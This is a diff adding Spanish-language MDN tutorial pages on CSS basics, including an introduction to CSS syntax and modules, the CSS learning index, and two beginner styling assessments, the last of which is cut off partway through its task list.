+<p>En el módulo <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>, exponemos qué es el HTML y cómo se usa para definir documentos destinados a leerse en un navegador web. Los títulos se verán más grandes que el texto y los párrafos empezarán en una línea nueva y habrá un espacio entre ellos. Los enlaces aparecerán en un color diferente y subrayados para distinguirlos del resto del texto. Vienen predeterminados por el navegador y, en la práctica, son estilos muy básicos que el navegador aplica al HTML para asegurarse, básicamente, de que sean legibles incluso si el autor de la página no especifica un estilo explícito.</p>
+
+<p><img alt="Los estilos predeterminados utilizados por el navegador" src="https://mdn.mozillademos.org/files/16493/html-example.png" style="border: 1px solid #cccccc; height: 594px; width: 1385px;"></p>
+
+<p>Sin embargo, Internet sería un lugar muy aburrido si todas las páginas web se vieran así. Usando CSS se pueden controlar con precisión cómo se ven los elementos HTML en el navegador, que presentará para las etiquetas de marcado el diseño que cada uno desee.</p>
+
+<h2 id="¿Para_qué_sirve_el_CSS">¿Para qué sirve el CSS?</h2>
+
+<p>Como hemos mencionado, el CSS es un lenguaje informático que especifica cómo se presentan los documentos a los usuarios: cómo se diseñan, compaginan, etc.</p>
+
+<p>Un <strong>documento</strong> suele ser un archivo de texto estructurado con un lenguaje de marcado: {{Glossary("HTML")}} es el más común, pero también existen otros como {{Glossary("SVG")}} o {{Glossary("XML")}}.</p>
+
+<p><strong>Presentar</strong> un documento a un usuario significa convertirlo en un formulario que el público pueda utilizar. Los {{Glossary("Navegador", "navegadores")}}, como por ejemplo {{Glossary("Mozilla Firefox", "Firefox")}}, {{Glossary("Google Chrome", "Chrome")}} o {{Glossary("Microsoft Edge", "Edge")}}, están diseñados para presentar documentos visualmente en una pantalla de ordenador, un proyector o una impresora.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Un navegador también recibe el nombre de {{Glossary("Agente de usuario", "agente de usuario")}}, que consiste en un programa informático que representa a una persona dentro del sistema. Los navegadores son el modelo principal de agente de usuario en el que pensamos cuando hablamos de CSS, pero no son el único. Hay otros documentos de usuario disponibles, como los que convierten documentos HTML y CSS en PDF para imprimir.</p>
+</div>
+
+<p>El CSS se puede usar para estilos de texto muy básicos como, por ejemplo, cambiar el <a href="/es/docs/Web/CSS/color_value">color</a> y el <a href="/en-US/docs/Web/CSS/font-size">tamaño</a> de los encabezados y los enlaces. Se puede utilizar para crear un diseño, como podría ser <a href="/en-US/docs/Web/CSS/Layout_cookbook/Column_layouts">convertir una columna de texto en una composición</a> con un área de contenido principal y una barra lateral para información relacionada. Incluso se puede usar para crear efectos de <a href="/es/docs/Web/CSS/CSS_Animations">animación</a>. Echa un vistazo a los enlaces de este párrafo para ver ejemplos específicos.</p>
+
+<h2 id="Sintaxis_del_CSS">Sintaxis del CSS</h2>
+
+<p>El CSS es un lenguaje basado en reglas: cada usuario define las reglas que especifican los grupos de estilos que van a aplicarse a elementos particulares o grupos de elementos de la página web. Por ejemplo: «Quiero que el encabezado principal de mi página se muestre en letras grandes de color rojo».</p>
+
+<p>El código siguiente muestra una regla CSS muy simple que proporcionaría el estilo descrito en el párrafo anterior:</p>
+
+<pre class="brush: css notranslate">h1 {
+    color: red;
+    font-size: 5em;
+}</pre>
+
+<p>La regla se abre con un {{Glossary("CSS Selector", "selector")}}. Este <em>selecciona</em> el elemento HTML que vamos a diseñar. En este caso, diseñaremos encabezados de nivel uno ({{htmlelement ("h1")}}).</p>
+
+<p>Luego tenemos un conjunto de llaves <code>{ }</code>. Entre estas habrá una o más <strong>declaraciones</strong>, que tomarán la forma de pares de <strong>propiedad</strong> y <strong>valor</strong>. Cada par especifica cada una de las propiedades de los elementos seleccionados y el valor que queremos dar a esa propiedad.</p>
+
+<p>Antes de los dos puntos, tenemos la propiedad; y después, el valor. Las {{Glossary("property/CSS", "propiedades")}} CSS admiten diferentes valores, dependiendo de qué propiedad se esté especificando. En el ejemplo anterior, tenemos la propiedad <code>color</code>, que puede tomar varios <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS#Color">valores de color</a>. También tenemos la propiedad de <code>font-size</code>, que puede tomar varias <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS#N%C3%BAmeros_longitudes_y_porcentajes">unidades de tamaño</a> como valor.</p>
+
+<p>Una hoja de estilo CSS contendrá muchas de estas reglas, escritas una tras otra.</p>
+
+<pre class="brush: css notranslate">h1 {
+    color: red;
+    font-size: 5em;
+}
+
+p {
+    color: black;
+}</pre>
+
+<p>Algunos valores se aprenden rápidamente, mientras que otros deberán buscarse. Las páginas de propiedades individuales que hay en el proyecto MDN proporcionan una forma rápida de buscar propiedades y sus valores en caso de olvidarlos o desear saber qué más se puede usar como valor.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar enlaces a todas las páginas de las propiedades CSS (junto con otras características CSS) enumeradas en la <a href="/es/docs/Web/CSS/Referencia_CSS">referencia CSS</a> del proyecto MDN. Alternativamente, deberías acostumbrarte a buscar «mdn <em>css-feature-name</em>» en tu motor de búsqueda favorito siempre que necesites obtener más información sobre una función CSS. Por ejemplo, intenta buscar «mdn color» y «mdn font-size».</p>
+</div>
+
+<h2 id="Módulos_CSS">Módulos CSS</h2>
+
+<p>Como hay tantas cosas que se podrían diseñar usando CSS, el lenguaje se divide en <em>módulos</em>. Verás referencias a estos módulos a medida que explores en MDN y observarás que muchas de las páginas de documentación están organizadas en torno a un módulo en particular. Por ejemplo, puedes echar un vistazo a la referencia MDN del módulo <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">Fondos y bordes</a> para averiguar cuál es su propósito, qué otras propiedades y características diferentes contiene. También encontrarás enlaces a la <em>especificación CSS</em> que define la tecnología (ver más abajo).</p>
+
+<p>En esta fase, no debes preocuparte demasiado sobre cómo se estructura el CSS, sin embargo, puede facilitarte la búsqueda de información si, por ejemplo, sabes que es probable que cierta propiedad se encuentre entre otras similares y, por lo tanto, en la misma especificación. </p>
+
+<p>Volvamos al módulo de Fondos y bordes para un ejemplo específico: puedes pensar que tiene lógica que las propiedades <code><a href="/es/docs/Web/CSS/background-color">background-color</a></code> y <code><a href="/es/docs/Web/CSS/border-color">border-color</a></code> se definan en este módulo. Y llevas toda la razón.</p>
+
+<h3 id="Especificaciones_CSS">Especificaciones CSS</h3>
+
+<p>Todas las tecnologías de estándares web (HTML, CSS, JavaScript, etc.) se definen en extensos documentos denominados especificaciones, publicados por organizaciones de estándares (como {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} o {{glossary("Khronos")}}) que definen con precisión cómo se supone que deben comportarse esas tecnologías.</p>
+
+<p>El caso de CSS no es diferente: lo desarrolla un grupo del W3C llamado <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a>. Este grupo está compuesto por representantes de proveedores de navegadores y otras compañías interesadas en CSS. También hay otras personas, conocidas como <em>expertos invitados</em>, que actúan como voces independientes y no están vinculados a ninguna organización.</p>
+
+<p>El CSS Working Group desarrolla o especifica características nuevas del CSS. Algunas veces lo hacen porque un navegador en particular está interesado en alguna capacidad, otras porque los diseñadores y desarrolladores web piden una característica, y otras porque el grupo ha identificado un requisito. El CSS está en desarrollo constante y todos los días presenta nuevas características disponibles. Sin embargo, un elemento clave sobre el CSS es que toda la comunidad se esfuerza mucho en no cambiar nunca nada que pueda perjudicar los sitios web antiguos. ¡Un sitio web creado en el año 2000, que utiliza el poco CSS disponible que había en ese momento, aún debería poder utilizarse hoy en día!</p>
+
+<p>Como recién llegado al CSS, es probable que encuentres las especificaciones abrumadoras: están destinadas a que los ingenieros las utilicen para implementar soporte de sus características en los agentes de usuario en que trabajan, no para que lo lean los desarrolladores web para comprender el CSS. Muchos desarrolladores experimentados preferirán consultar la documentación disponible en MDN u otros tutoriales. Sin embargo, vale la pena saber que existen y comprender la relación que hay entre el CSS que estás utilizando, el soporte del navegador (ver más abajo) y las especificaciones.</p>
+
+<h2 id="Soporte_del_navegador">Soporte del navegador</h2>
+
+<p>Una vez se ha especificado el CSS, solo es útil en el desarrollo de páginas web si uno o más navegadores lo han implementado. Esto significa que el código se ha escrito para convertir las instrucciones que se especifican en nuestro archivo CSS en algo que se pueda mostrar en pantalla. Veremos este proceso más en profundidad en el artículo <a href="/es/docs/Learn/CSS/First_steps/Como_funciona_CSS">Cómo funciona el CSS</a>. Es inusual que todos los navegadores puedan implementar una misma característica al mismo tiempo, por lo que suele haber una brecha en la que se pueden usar algunas partes del CSS en algunos navegadores pero no en otros. Por este motivo, es útil poder verificar el estado de implementación. En cada una de las páginas de propiedades que hay en la MDN se puede ver el estado de la propiedad de interés, por lo que se puede saber si será posible utilizarla en un sitio web.</p>
+
+<p>Lo que sigue es el gráfico de datos de compatibilidad para la propiedad CSS <code><a href="/es/docs/Web/CSS/font-family">font-family</a></code>.</p>
+
+<p>{{Compat("css.properties.font-family")}}</p>
+
+<h2 id="¿Qué_viene_ahora">¿Qué viene ahora?</h2>
+
+<p>Ahora que comprendes mínimamente qué es el CSS, pasemos a <a href="/es/docs/Learn/CSS/First_steps/Comenzando_CSS">Comenzar con CSS</a>, donde puedes empezar a escribir algo de CSS tú mismo.</p>
+
+<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">¿Qué es el CSS?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">Comenzar con CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">Cómo se estructura el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">Cómo funciona el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Pon en práctica tus conocimientos nuevos</a></li>
+</ol>
diff --git a/files/es/learn/css/first_steps/usa_tu_nuevo_conocimiento/index.html b/files/es/learn/css/first_steps/usa_tu_nuevo_conocimiento/index.html
new file mode 100644
index 0000000000..bff4f103bf
--- /dev/null
+++ b/files/es/learn/css/first_steps/usa_tu_nuevo_conocimiento/index.html
@@ -0,0 +1,100 @@
+---
+title: Usa tu nuevo conocimiento
+slug: Learn/CSS/First_steps/Usa_tu_nuevo_conocimiento
+tags:
+  - Aprendizaje
+  - CSS
+  - Principiante
+translation_of: Learn/CSS/First_steps/Using_your_new_knowledge
+---
+<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<p class="summary">Con las cosas que has aprendido en las últimas lecciones, puedes darle formato a documentos de texto simple utilizando CSS para agregar tu propio estilo a ellos. Esta evaluación te da una posibilidad de hacer eso.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Antes de intentar esta evaluación, deberías haber trabajado a través del módulo de CSS básico, y también comprender HTML básico (estudia la <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducción a HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Utilizar algún CSS y probar conocimiento recién adquirido.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Puedes trabajar en el editor en vivo más abajo, o puedes descargar el punto de partida para trabajar con tu propio editor. Esta es una página HTML, con el inicio del CSS en el <code>&lt;head&gt;</code> del documento. Si prefieres, puedes mover este CSS a un archivo separado cuando crees el ejemplo en tu computador. Alternativamente, puedes usar una herramienta en línea como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a> para trabajar en las tareas.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si te atascas, pide ayuda — mira la sección <a class="external external-icon" href="https://wiki.developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Enlaces#Evaluaci%C3%B3n_o_ayuda_adicional" rel="noopener">Evaluación o ayuda adicional</a> al final de esta página.</p>
+</div>
+
+<h2 id="Trabajando_con_CSS">Trabajando con CSS</h2>
+
+<p>Los siguientes ejemplos muestran una biografía, que ha sido estilizada usando CSS. Las propiedades CSS que se han utilizado son las siguientes - cada una enlaza a su página de propiedades en MDN, que te entregará más ejemplos de su uso:</p>
+
+<ul>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+</ul>
+
+<p>Se ha usado una mezcla de selectores, elementos de estilo como <code>&lt;h1&gt;</code> y <code>&lt;h2&gt;</code>, y también una clase para el título del trabajo.</p>
+
+<p>Usa CSS para cambiar el aspecto de esta biografía, cambiando los valores de las propiedades iniciales.</p>
+
+<ol>
+ <li>Coloca en rosado el nivel <code>&lt;h1&gt;</code>, usando el color CSS <code>hotpink</code>.</li>
+ <li>Da al encabezado un {{cssxref("border-bottom")}} de 10px con puntos (<code>dotted</code>), que use el color CSS <code>purple</code>.</li>
+ <li>Coloca en cursiva el <code>&lt;h2&gt;</code>.</li>
+ <li>Al <code>ul</code> utilizado para los detalles de contacto un  {{cssxref("background-color")}}  <code>#eeeeee</code>, y un {{cssxref("border")}} de <code>5px solid purple</code>. Usa algo de {{cssxref("padding")}} para empujar el texto lejos del borde.</li>
+ <li>Cambia los enlaces a verde cuando pase el cursor sobre ellos.</li>
+</ol>
+
+<p>Deberías conseguir algo parecido a esta página:</p>
+
+<p><img alt="Screenshot of how the example should look after completing the assessment." src="https://mdn.mozillademos.org/files/17035/learn-css-basics-assessment.png" style="height: 1199px; width: 1104px;"></p>
+
+<p>Posteriormente intenta buscar algunas propiedades no mencionadas en esta página en la <a href="/en-US/docs/Web/CSS/Reference">referencia de CSS de MDN</a> y ¡arriésgate!.</p>
+
+<p>Recuerda que no existen respuestas equivocadas acá - En esta etapa en tu aprendizaje puedes tener un poco de diversión.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Si deseas que tu trabajo sea evaluado, o estás atorado y quieres solicitar ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea con capacidad de compartir como <a class="external external-icon" href="https://codepen.io/" rel="noopener">CodePen</a>, <a class="external external-icon" href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a class="external external-icon" href="https://glitch.com/" rel="noopener">Glitch</a>.</li>
+ <li>Escribe una publicación solicitando evaluacion y/o ayuda en el <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Tu publicación debería incluir:
+  <ul>
+   <li>Un título descriptivo como "Requiero evaluacion para Primeros pasos en CSS".</li>
+   <li>Detalles de lo que ya has intentado, y que te gustaría que hiciéramos, por ejemplo, si estas atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que quieres que sea evaluado o por el que necesitas ayuda en un  editor en linea con capacidad de compartir (como se mencionó en el paso 1 más arriba). Esta es una buena práctica  - Es muy dificil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la tarea o página de evaluacion actual, para que podamos encontrar la pregunta con la cual necesitas ayuda.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Felicitaciones por completar este primer modulo!. Deberías tener un buen entendimiento general de CSS, y ser capaz de comprender bastante de los que está sucediendo en una hoja de estilo. En el módulo siguiente, <a href="/en-US/docs/Learn/CSS/Building_blocks">bloques de construccion CSS</a>, revisaremos en profundidad algunas áreas clave.</p>
+
+<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/es/docs/Web/CSS/Como_iniciar/Que_es_CSS">¿Qué es CSS?</a></li>
+ <li><a href="/es/docs/Learn/CSS/First_steps/Comenzando_CSS">Empezando con CSS</a></li>
+ <li><a href="/es/docs/Learn/CSS/First_steps/Como_se_estructura_CSS">Cómo se estructura el CSS</a></li>
+ <li><a href="/es/docs/Learn/CSS/First_steps/Como_funciona_CSS">Cómo funciona CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Usa tu nuevo conocimiento</a></li>
+</ol>
diff --git a/files/es/learn/css/index.html b/files/es/learn/css/index.html
new file mode 100644
index 0000000000..ce384edeb2
--- /dev/null
+++ b/files/es/learn/css/index.html
@@ -0,0 +1,63 @@
+---
+title: CSS
+slug: Learn/CSS
+tags:
+  - CSS
+  - Codificación
+  - Depuración
+  - Necesidades
+  - Principiante
+  - Tema
+  - concreción
+  - longitud
+translation_of: Learn/CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Las Hojas de estilo en cascada (del ingles <em>Cascading Stylesheets</em> {{glossary("CSS")}}) es la siguiente tecnología que aprenderemos después de {{glossary("HTML")}}. Mientras que HTML se utiliza para definir la estructura y la semántica del contenido, CSS se usa para darle estilo y posicionarlo visualmente. CSS se puede usar, por ejemplo, para cambiar la fuente, el color, el tamaño y el espaciado del contenido, para formar multiples columnas, añadir animaciones y otros elementos decorativos.</p>
+
+<h2 id="Itinerario_de_aprendizaje">Itinerario de aprendizaje</h2>
+
+<p>Antes de empezar con CSS deberemos conocer los fundamentos de HTML. Podemos trabajar este contenido en <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">introducción a HTML</a> para posteriormente aprender:</p>
+
+<ul>
+ <li>CSS, comenzando por el módulo de Introducción a CSS</li>
+ <li><a href="/es/docs/Learn/HTML#Módulos">Módulos HTML</a> más avanzados</li>
+ <li><a href="/es/docs/Learn/JavaScript">JavaScript</a>, y cómo usarlo para añadir funcionalidad dinamica a las pagina web</li>
+</ul>
+
+<p>Se recomienda aprender HTML y CSS al mismo tiempo, trabajando de forma conjunta ambas disciplinas. CSS aporta un valor añadido a HTML y no podrás aprender CSS sin controlar HTML.</p>
+
+<p>Antes de comenzar con este tema, deberemos tener conocimientos básicos sobre el uso de ordenadores y sobre el uso pasivo de la Web (navegar y consumir contenido). Es recomendable tener configurado un entorno de desarrollo como el detallado en <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">Instalación de software básico</a>, y saber crear y gestionar archivos como se detalla en <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">Manejando archivos</a> — ambos forman parte del módulo <a href="/es/docs/Learn/Getting_started_with_the_web">Primeros pasos en la Web</a> para principiantes.</p>
+
+<p>Se recomienda trabajar el módulo <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web">Primeros pasos en la Web</a> antes de entrar a este tema, aunque no es completamente necesario; gran parte de lo tratado en el artículo de CSS básico también se trata en el módulo de introducción a CSS, aunque con mucho más detalle.</p>
+
+<h2 id="Módulos">Módulos</h2>
+
+<p>Este tema contiene los siguientes módulos en el orden recomendado de aprendizaje. Recomendamos comenzar por el primero.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/Introduction_to_CSS">Introducción a CSS</a></dt>
+ <dd>Este módulo explica los conceptos básicos sobre el funcionamiento de CSS, incluyendo selectores y propiedades, escritura de reglas CSS, aplicación de CSS a HTML, cómo especificar longitud, color y otras unidades en CSS, organización en cascada y herencia, conceptos de encajonado básicos y depuración de CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text">Estilo del texto</a></dt>
+ <dd>Aquí veremos cómo aplicar estilos al texto, tipos de letra, negrita, cursiva, espaciado, interlineado y sombreado, entre otras funciones relativas al texto. Terminaremos el módulo aplicando tipos a nuestra página, configurando listas y enlaces.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Estilos por cajas</a></dt>
+ <dd>A continuación veremos la aplicación de estilos por cajas, fundamental en el diseño de páginas web. En este módulo analizaremos el modelo de cajas para después aprender a controlar el diseño de las cajas ajustando rellenos, marcos y márgenes, personalizando colores de fondo, imágenes y otras características, además de divertidas funcionalidades como el sombreado y los filtros sobre las cajas.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">Diseño CSS</a></dt>
+ <dd>Llegados a este punto ya conocemos lo básico de CSS, como darle estilo al texto, y cómo dar estilo y manipular el contenido de las cajas. Es momento de ver cómo ubicar las cajas correctamente con respecto a la ventana de visualización y a otra. Hemos cubierto los requisitos necesarios para poder meternos de lleno en el diseño CSS, ver diferentes ajustes de visualización, metodos tradicionales de diseño con pivotes y posicionamiento, y nuevas herramientas de diseño como flexbox.</dd>
+ <dt>Diseño Adaptable (RBD Responsive Web Design)</dt>
+ <dd>Con la gran variedad de dispositivos capaces de navegar por la Web actualmente, el <a href="https://developer.mozilla.org/en-US/Apps/Progressive/Responsive">diseño web adaptable </a>(RWD) es una habilidad imprescindible para el diseño web. En este módulo veremos principios básicos y herramientas de RWD, como aplicar diferentes CSS a un documento dependiendo de las características del dispositivo como el ancho de la pantalla, la orientación y la resolución; veremos las tecnologías disponibles para mostrar videos e imágenes dependiendo de estas características.</dd>
+</dl>
+
+<h2 id="Resolución_de_problemas_con_CSS">Resolución de problemas con CSS</h2>
+
+<p><a href="https://developer.mozilla.org/es/docs/Learn/CSS/S%C3%A1bercomo">Uso de CSS para resolver problemas comunes</a> proporciona vínculos a secciones que explican cómo usar CSS para resolver problemas comunes cuando se está creando una página web.</p>
+
+<div class="section">
+<h2 id="Ver_También">Ver También</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS en MDN</a></dt>
+ <dd>Principal entrada para la documentación de CSS en MDN, donde encontrarás documentación detallada de todas las funcionalidades del lenguaje CSS. ¿Quieres saber todos los valores posibles de una propiedad? Este es tu sitio.</dd>
+</dl>
+</div>
diff --git a/files/es/learn/css/introduction_to_css/fundamental_css_comprehension/index.html b/files/es/learn/css/introduction_to_css/fundamental_css_comprehension/index.html
new file mode 100644
index 0000000000..b53db2df02
--- /dev/null
+++ b/files/es/learn/css/introduction_to_css/fundamental_css_comprehension/index.html
@@ -0,0 +1,117 @@
+---
+title: Comprensión de los fundamentos de CSS
+slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension
+tags:
+  - CSS
+  - Estilo
+  - Evaluación
+  - Modelo de Caja
+  - Principiante
+  - Selectores
+  - Sintaxis
+  - comentários
+  - reglas
+translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension
+---
+<div class="boxed translate-rendered">
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</div>
+
+<p class="summary">Has avanzado mucho en este módulo, debes sentirte orgulloso de haber llegado hasta el final. El último paso antes de terminar es intentar el examen del módulo — que incluye completar varios ejercicios para crear el último diseño — una tarjeta de presentación/de jugador/perfil de redes sociales.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Antes de intentar esta evaluación, debería haber revisado todos los artículos en este módulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Probar la comprensión de los fundamentos de la teoría, sintaxis y mecánica de CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_Partida">Punto de Partida</h2>
+
+<p>Para comenzar esta evaluación, debes:</p>
+
+<ul>
+ <li>Ve y coge el <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">archivo HTML del ejercicio</a>, y el <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">archivo de imagen asociada</a>, y guárdalos en un nuevo directorio en tu ordenador local. Si quieres usar tu propio archivo de imagen y rellenar tu propio nombre, eres bienvenido - sólo asegúrate de que la imagen es cuadrada.</li>
+ <li>Coge el <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">archivo de texto de los recursos CSS</a> — este contiene un conjunto de selectores y conjuntos de reglas en estado puro que necesitarás estudiar y combinar para responder a parte de esta evaluación.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Alternativamente, se puede utilizar un sitio como  <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para hacer la evaluación. Puede pegar el HTML y completar el CSS en uno de estos editores en línea, y usar  <a href="http://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">esta URL</a> para apuntar el elemento <code>&lt;img&gt;</code> al archivo de imagen. Si el editor en línea que estás usando no tiene un panel CSS separado, no dudes en ponerlo en un elemento <code>&lt;style&gt;</code> en el encabezado del documento.</p>
+</div>
+
+<h2 id="Resumen_del_Proyecto">Resumen del Proyecto</h2>
+
+<p>Se le ha proporcionado un poco de HTML puro y una imagen, y necesitas escribir el CSS necesario para darle estilo a una pequeña tarjeta de presentación en línea, que tal vez pueda servir como una tarjeta de jugador o de perfil en redes sociales. Las siguientes secciones describen lo que debes hacer.</p>
+
+<p>Configuración básica:</p>
+
+<ul>
+ <li>En primer lugar, crea un nuevo archivo en el mismo directorio que tus archivos HTML y de imagen. Llámalo algo realmente imaginativo como <code>style.css</code>.</li>
+ <li>Vincula tu CSS a tu archivo HTML mediante un elemento <code>&lt;link&gt;</code>.</li>
+ <li>Las dos primeras reglas en el archivo de recursos CSS son tuyas, ¡GRATIS! Después de que hayas terminado de regocijarte de tu buena fortuna, cópialas y pégalas en la parte superior de tu nuevo archivo CSS. Úsalas como prueba para asegurarte de que tu CSS se aplica correctamente a tu HTML.</li>
+ <li>
+  <p>Sobre las dos reglas, agregue un comentario CSS con algún texto dentro para indicar que se trata de un conjunto de estilos generales para toda la página. "Estilos generales de la página" sería suficiente. También agrega tres comentarios más en la parte inferior del archivo CSS para indicar estilos específicos para la configuración del contenedor de la tarjeta, estilos específicos para el header y footer (encabezado y pie de página), y estilos específicos para el contenido principal de la tarjeta de presentación. De ahora en adelante, los estilos subsiguientes añadidos a la hoja de estilo deben organizarse en el lugar apropiado.</p>
+ </li>
+</ul>
+
+<p>Encargandonos de los selectores y conjuntos de reglas proporcionados:</p>
+
+<ul>
+ <li>A continuación, nos gustaría que examinaras los cuatro selectores y calcularas la especificidad de cada uno. Escríbelas en algún lugar donde las puedas encontrar más tarde, como en un comentario en la parte superior de tu CSS.</li>
+ <li>Ahora es el momento de poner el selector correcto en el conjunto de reglas correcto! Tienes cuatro pares de selectores y reglas que coinciden en tus recursos de CSS. Hazlo ahora y agrégalos a tu archivo CSS. Necesitaras:
+  <ul>
+   <li>Asignar al contenedor principal de tarjetas un ancho/alto fijo (width/height), color de fondo sólido (background-color), borde (border) y radio de borde (border-radius), entre otras cosas.</li>
+   <li>Asigna al header un degradado (linear-gradient) de fondo que va de más oscuro a más claro, además de esquinas redondeadas que encajan con las esquinas redondeadas establecidas en el contenedor principal de tarjetas.</li>
+   <li>Asigna al pie de página un degradado (linear-gradient) de fondo que vaya de más claro a más oscuro, además de esquinas redondeadas que encajen con las esquinas redondeadas establecidas en el contenedor principal de tarjetas.</li>
+   <li>Asigna a la imagen un float a la derecha para que se pegue al lado derecho del contenido principal de la tarjeta de presentación, y dale una altura máxima (max-height) del 100% (un truco inteligente que asegura que crecerá/encogerá para que se mantenga a la misma altura que el contenedor principal, sin importar a que altura se trasforme).</li>
+  </ul>
+ </li>
+ <li>¡Cuidado! Hay dos errores en los conjuntos de reglas proporcionados. Utilizando cualquier técnica que conozcas, localízalas y arréglalas antes de seguir adelante.</li>
+</ul>
+
+<p>Nuevos conjuntos de reglas que necesitas escribir:</p>
+
+<ul>
+ <li>Escribe un conjunto de reglas que apunte tanto al header de la tarjeta como al footer de la misma, dándoles una altura total de 50px, (que incluye una altura de contenido de 30px y un padding de 10px en todos los lados). Pero expresalo en <code>em</code>s.</li>
+ <li>El margen por defecto aplicado a los elementos <code>&lt;h2&gt;</code> y <code>&lt;p&gt;</code> por el navegador interferirá con nuestro diseño, así que escribe una regla que apunte a todos estos elementos y establezca su margen en 0.</li>
+ <li>Para evitar que la imagen se derrame del contenido principal de la tarjeta de presentación (el elemento <code>&lt;article&gt;</code>), necesitamos darle una altura específica. Ajustar la altura del <code>&lt;article&gt;</code> a 120px,  expresada en <code>em</code>s. También asigna un background-color negro semitransparente, resultando en un tono ligeramente más oscuro que deja que el color rojo del fondo brille un poco también.</li>
+ <li>Escribe un conjunto de reglas que le asigne al <code>&lt;h2&gt;</code> un font-size efectivo de 20px (pero expresado en <code>em</code>s) y una line-height (altura de línea) apropiada para colocarlo en el centro de la caja de contenido del header. Recuerde que la altura de la caja de contenido debe ser de 30px - esto te proporciona todos los números que necesitas para calcular la line-height.</li>
+ <li>Escribe un conjunto de reglas que le asigne al <code>&lt;p&gt;</code> dentro del footer un font-size efectivo de 15px (pero expresado en <code>em</code>s) y una line-height apropiada para colocarlo en el centro de la caja de contenido del footer. Recuerda que la altura de la caja de contenido debe ser de 30px - esto te proporciona todos los números que necesitas para calcular la line-height.</li>
